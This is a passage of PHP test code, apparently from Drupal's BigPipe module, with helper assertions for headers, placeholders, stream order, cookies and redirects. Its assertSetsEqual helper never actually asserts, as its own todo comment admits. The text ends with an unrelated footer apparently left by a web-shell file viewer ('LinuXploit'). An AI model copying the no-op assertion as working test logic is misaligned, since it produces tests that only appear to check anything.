  protected function assertBigPipeResponseHeadersPresent(): void {
    // Check that Cache-Control header set to "private".
    $this->assertSession()->responseHeaderContains('Cache-Control', 'private');
    $this->assertSession()->responseHeaderEquals('Surrogate-Control', 'no-store, content="BigPipe/1.0"');
    $this->assertSession()->responseHeaderEquals('X-Accel-Buffering', 'no');
  }

  /**
   * Asserts expected BigPipe no-JS placeholders are present and replaced.
   *
   * @param array $expected_big_pipe_nojs_placeholders
   *   Keys: BigPipe no-JS placeholder markup. Values: expected replacement
   *   markup.
   *
   * @internal
   */
  protected function assertBigPipeNoJsPlaceholders(array $expected_big_pipe_nojs_placeholders): void {
    $this->assertSetsEqual(array_keys($expected_big_pipe_nojs_placeholders), array_map('rawurldecode', explode(' ', $this->getSession()->getResponseHeader('BigPipe-Test-No-Js-Placeholders'))));
    foreach ($expected_big_pipe_nojs_placeholders as $big_pipe_nojs_placeholder => $expected_replacement) {
      // Checking whether the replacement for the BigPipe no-JS placeholder
      // $big_pipe_nojs_placeholder is present.
      $this->assertSession()->responseNotContains($big_pipe_nojs_placeholder);
      if ($expected_replacement !== NULL) {
        $this->assertSession()->responseContains($expected_replacement);
      }
    }
  }

  /**
   * Asserts expected BigPipe placeholders are present and replaced.
   *
   * @param array $expected_big_pipe_placeholders
   *   Keys: BigPipe placeholder IDs. Values: expected AJAX response.
   * @param array $expected_big_pipe_placeholder_stream_order
   *   Keys: BigPipe placeholder IDs. Values: expected AJAX response. Keys are
   *   defined in the order that they are expected to be rendered & streamed.
   *
   * @internal
   */
  protected function assertBigPipePlaceholders(array $expected_big_pipe_placeholders, array $expected_big_pipe_placeholder_stream_order): void {
    $this->assertSetsEqual(array_keys($expected_big_pipe_placeholders), explode(' ', $this->getSession()->getResponseHeader('BigPipe-Test-Placeholders')));
    $placeholder_positions = [];
    $placeholder_replacement_positions = [];
    foreach ($expected_big_pipe_placeholders as $big_pipe_placeholder_id => $expected_ajax_response) {
      // Verify expected placeholder.
      $expected_placeholder_html = '<span data-big-pipe-placeholder-id="' . $big_pipe_placeholder_id . '"></span>';
      $this->assertSession()->responseContains($expected_placeholder_html);
      $pos = strpos($this->getSession()->getPage()->getContent(), $expected_placeholder_html);
      $placeholder_positions[$pos] = $big_pipe_placeholder_id;
      // Verify expected placeholder replacement.
      $expected_placeholder_replacement = '<script type="application/vnd.drupal-ajax" data-big-pipe-replacement-for-placeholder-with-id="' . $big_pipe_placeholder_id . '">';
      $xpath = '//script[@data-big-pipe-replacement-for-placeholder-with-id="' . Html::decodeEntities($big_pipe_placeholder_id) . '"]';
      if ($expected_ajax_response === NULL) {
        $this->assertSession()->elementNotExists('xpath', $xpath);
        $this->assertSession()->responseNotContains($expected_placeholder_replacement);
        continue;
      }
      $this->assertSession()->elementTextContains('xpath', $xpath, $expected_ajax_response);
      $this->assertSession()->responseContains($expected_placeholder_replacement);
      $pos = strpos($this->getSession()->getPage()->getContent(), $expected_placeholder_replacement);
      $placeholder_replacement_positions[$pos] = $big_pipe_placeholder_id;
    }
    ksort($placeholder_positions, SORT_NUMERIC);
    $this->assertEquals(array_keys($expected_big_pipe_placeholders), array_values($placeholder_positions));
    $placeholders = array_map(function (NodeElement $element) {
      return $element->getAttribute('data-big-pipe-placeholder-id');
    }, $this->cssSelect('[data-big-pipe-placeholder-id]'));
    $this->assertSameSize($expected_big_pipe_placeholders, array_unique($placeholders));
    $expected_big_pipe_placeholders_with_replacements = [];
    foreach ($expected_big_pipe_placeholder_stream_order as $big_pipe_placeholder_id) {
      $expected_big_pipe_placeholders_with_replacements[$big_pipe_placeholder_id] = $expected_big_pipe_placeholders[$big_pipe_placeholder_id];
    }
    $this->assertEquals($expected_big_pipe_placeholders_with_replacements, array_filter($expected_big_pipe_placeholders));
    $this->assertSetsEqual(array_keys($expected_big_pipe_placeholders_with_replacements), array_values($placeholder_replacement_positions));
    $this->assertSame(count($expected_big_pipe_placeholders_with_replacements), preg_match_all('/' . preg_quote('<script type="application/vnd.drupal-ajax" data-big-pipe-replacement-for-placeholder-with-id="', '/') . '/', $this->getSession()->getPage()->getContent()));

    // Verifying BigPipe start/stop signals.
    $this->assertSession()->responseContains(BigPipe::START_SIGNAL);
    $this->assertSession()->responseContains(BigPipe::STOP_SIGNAL);
    $start_signal_position = strpos($this->getSession()->getPage()->getContent(), BigPipe::START_SIGNAL);
    $stop_signal_position = strpos($this->getSession()->getPage()->getContent(), BigPipe::STOP_SIGNAL);
    $this->assertTrue($start_signal_position < $stop_signal_position, 'BigPipe start signal appears before stop signal.');

    // Verifying BigPipe placeholder replacements and start/stop signals were
    // streamed in the correct order.
    $expected_stream_order = array_keys($expected_big_pipe_placeholders_with_replacements);
    array_unshift($expected_stream_order, BigPipe::START_SIGNAL);
    array_push($expected_stream_order, BigPipe::STOP_SIGNAL);
    $actual_stream_order = $placeholder_replacement_positions + [
      $start_signal_position => BigPipe::START_SIGNAL,
      $stop_signal_position => BigPipe::STOP_SIGNAL,
    ];
    ksort($actual_stream_order, SORT_NUMERIC);
    $this->assertEquals($expected_stream_order, array_values($actual_stream_order));
  }

  /**
   * Ensures CSRF tokens can be generated for the current user's session.
   */
  protected function setCsrfTokenSeedInTestEnvironment() {
    $session_data = $this->container->get('session_handler.write_safe')->read($this->getSession()->getCookie($this->getSessionName()));
    $csrf_token_seed = unserialize(explode('_sf2_meta|', $session_data)[1])['s'];
    $this->container->get('session_manager.metadata_bag')->setCsrfTokenSeed($csrf_token_seed);
  }

  /**
   * @return \Drupal\big_pipe_test\BigPipePlaceholderTestCase[]
   */
  protected function getTestCases($has_session = TRUE) {
    return BigPipePlaceholderTestCases::cases($this->container, $this->rootUser);
  }

  /**
   * Asserts whether arrays A and B are equal, when treated as sets.
   *
   * @todo This method is broken. Fix it in
   *   https://www.drupal.org/project/drupal/issues/3144926
   *
   * @internal
   */
  protected function assertSetsEqual(array $a, array $b): void {
    $result = count($a) == count($b) && !array_diff_assoc($a, $b);
  }

  /**
   * Asserts whether a BigPipe no-JS cookie exists or not.
   *
   * @internal
   */
  protected function assertBigPipeNoJsCookieExists(string $expected): void {
    $this->assertCookieExists('big_pipe_nojs', $expected, 'BigPipe no-JS');
  }

  /**
   * Asserts whether a session cookie exists or not.
   *
   * @internal
   */
  protected function assertSessionCookieExists(string $expected): void {
    $this->assertCookieExists($this->getSessionName(), $expected, 'Session');
  }

  /**
   * Asserts whether a cookie exists on the client or not.
   *
   * @internal
   */
  protected function assertCookieExists(string $cookie_name, string $expected, string $cookie_label): void {
    $this->assertEquals($expected, !empty($this->getSession()->getCookie($cookie_name)), $expected ? "$cookie_label cookie exists." : "$cookie_label cookie does not exist.");
  }

  /**
   * Calls ::performMetaRefresh() and asserts the responses.
   *
   * @internal
   */
  protected function assertBigPipeNoJsMetaRefreshRedirect(): void {
    $original_url = $this->getSession()->getCurrentUrl();

    // Disable automatic following of redirects by the HTTP client, so that this
    // test can analyze the response headers of each redirect response.
    $this->getSession()->getDriver()->getClient()->followRedirects(FALSE);
    $this->performMetaRefresh();
    $headers[0] = $this->getSession()->getResponseHeaders();
    $statuses[0] = $this->getSession()->getStatusCode();
    $this->performMetaRefresh();
    $headers[1] = $this->getSession()->getResponseHeaders();
    $statuses[1] = $this->getSession()->getStatusCode();
    $this->getSession()->getDriver()->getClient()->followRedirects(TRUE);

    $this->assertEquals($original_url, $this->getSession()->getCurrentUrl(), 'Redirected back to the original location.');

    // First response: redirect.
    $this->assertEquals(302, $statuses[0], 'The first response was a 302 (redirect).');
    $this->assertStringStartsWith('big_pipe_nojs=1', $headers[0]['Set-Cookie'][0], 'The first response sets the big_pipe_nojs cookie.');
    $this->assertEquals($original_url, $headers[0]['Location'][0], 'The first response redirected back to the original page.');
    $this->assertEmpty(
      array_diff([
        'cookies:big_pipe_nojs',
        'session.exists',
      ], explode(' ', $headers[0]['X-Drupal-Cache-Contexts'][0])),
      'The first response varies by the "cookies:big_pipe_nojs" and "session.exists" cache contexts.'
    );
    $this->assertFalse(isset($headers[0]['Surrogate-Control']), 'The first response has no "Surrogate-Control" header.');

    // Second response: redirect followed.
    $this->assertEquals(200, $statuses[1], 'The second response was a 200.');
    $this->assertEmpty(
      array_diff([
        'cookies:big_pipe_nojs',
        'session.exists',
      ], explode(' ', $headers[0]['X-Drupal-Cache-Contexts'][0])),
      'The second response varies by the "cookies:big_pipe_nojs" and "session.exists" cache contexts.'
    );

    $this->assertEquals('no-store, content="BigPipe/1.0"', $headers[1]['Surrogate-Control'][0], 'The second response has a "Surrogate-Control" header.');

    // Check that the <meta> refresh is absent, only one redirect ever happens.
    $this->assertSession()->responseNotContains('<noscript><meta http-equiv="Refresh" content="0; URL=');
  }

}

Youez - 2016 - github.com/yon3zu
LinuXploit